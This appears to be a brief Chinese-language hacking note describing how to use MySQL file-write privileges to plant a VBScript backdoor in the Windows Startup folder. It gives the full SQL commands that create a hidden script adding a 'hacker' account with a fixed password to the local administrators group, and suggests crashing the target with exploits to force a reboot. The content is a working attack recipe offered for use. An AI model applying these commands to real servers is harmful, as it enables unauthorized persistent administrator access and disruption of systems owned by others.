[TOC] ## 原理 利用mysql，将后门写入开机自启动项。 同时因为是开机自启动，写入之后，需要重启目标服务器。(**这个要求mysql的权限就很高，至少是管理员权限甚至是system，可以利用一些漏洞尝试打蓝屏重启**) ## windows的开机启动地址 ~~~ C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup ~~~ ## 利用 * 上传shell文件 * 工具连接，连接数据库 * 创建表 ``` create table dota(cmd text); ``` * 插入数据 ``` insert into dota values("set wshshell=createobject(""wscript.shell"")"),("a=wshshell.run(""cmd.exe /c net user hacker admin@123 /add"",0)"),("b=wshshell.run(""cmd.exe /c net localgroup administrators hacker /add"",0)"); ``` * 写入开机启动项 ``` select \* from dota into outfile"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\StartMenu\\\\Programs\\Startup\\adduser.vbs"; ``` ## 条件 需要mssql_ini配置文件开启写入功能